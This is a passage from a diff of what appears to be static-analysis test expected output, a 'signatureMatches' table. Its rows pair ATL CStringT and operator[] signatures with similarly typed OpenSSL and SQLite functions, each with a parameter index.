| 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:942:11:942:20 | operator[] | (int) | | tls13_alert_code | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | | operator+= | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | CStringT | 0 | | atl.cpp:1036:5:1036:12 | CStringT | (const VARIANT &) | CStringT | operator= | 0 | @@ -196,19 +2647,591 @@ signatureMatches | atl.cpp:1043:5:1043:12 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | | atl.cpp:1043:5:1043:12 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 | | atl.cpp:1043:5:1043:12 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | SRP_VBASE_new | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | defossilize | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | make_uppercase | 0 | +| atl.cpp:1045:5:1045:12 | CStringT | (char *) | | next_item | 0 | | atl.cpp:1045:5:1045:12 | CStringT | (char *) | CStringT | CStringT | 0 | | atl.cpp:1046:5:1046:12 | CStringT | (unsigned char *) | CStringT | CStringT | 0 | | atl.cpp:1047:5:1047:12 | CStringT | (wchar_t *) | CStringT | CStringT | 0 | +| atl.cpp:1049:5:1049:12 | CStringT | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_CTX *,int) | | ssl_md | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509 *,int) | | X509_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509 *,int) | | X509_self_signed | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (acttab *,int) | | acttab_insert | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (char *,int) | | PEM_proc_type | 1 | | atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 0 | | atl.cpp:1049:5:1049:12 | CStringT | (char,int) | CStringT | CStringT | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIGNUM *,int) | | BN_get_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIO *,int) | | BIO_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const BIO *,int) | | BIO_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | DH_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | DH_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DH *,int) | | ossl_dh_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | DSA_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | DSA_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const DSA *,int) | | ossl_dsa_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1049:5:1049:12 | CStringT | (const X509_STORE_CTX 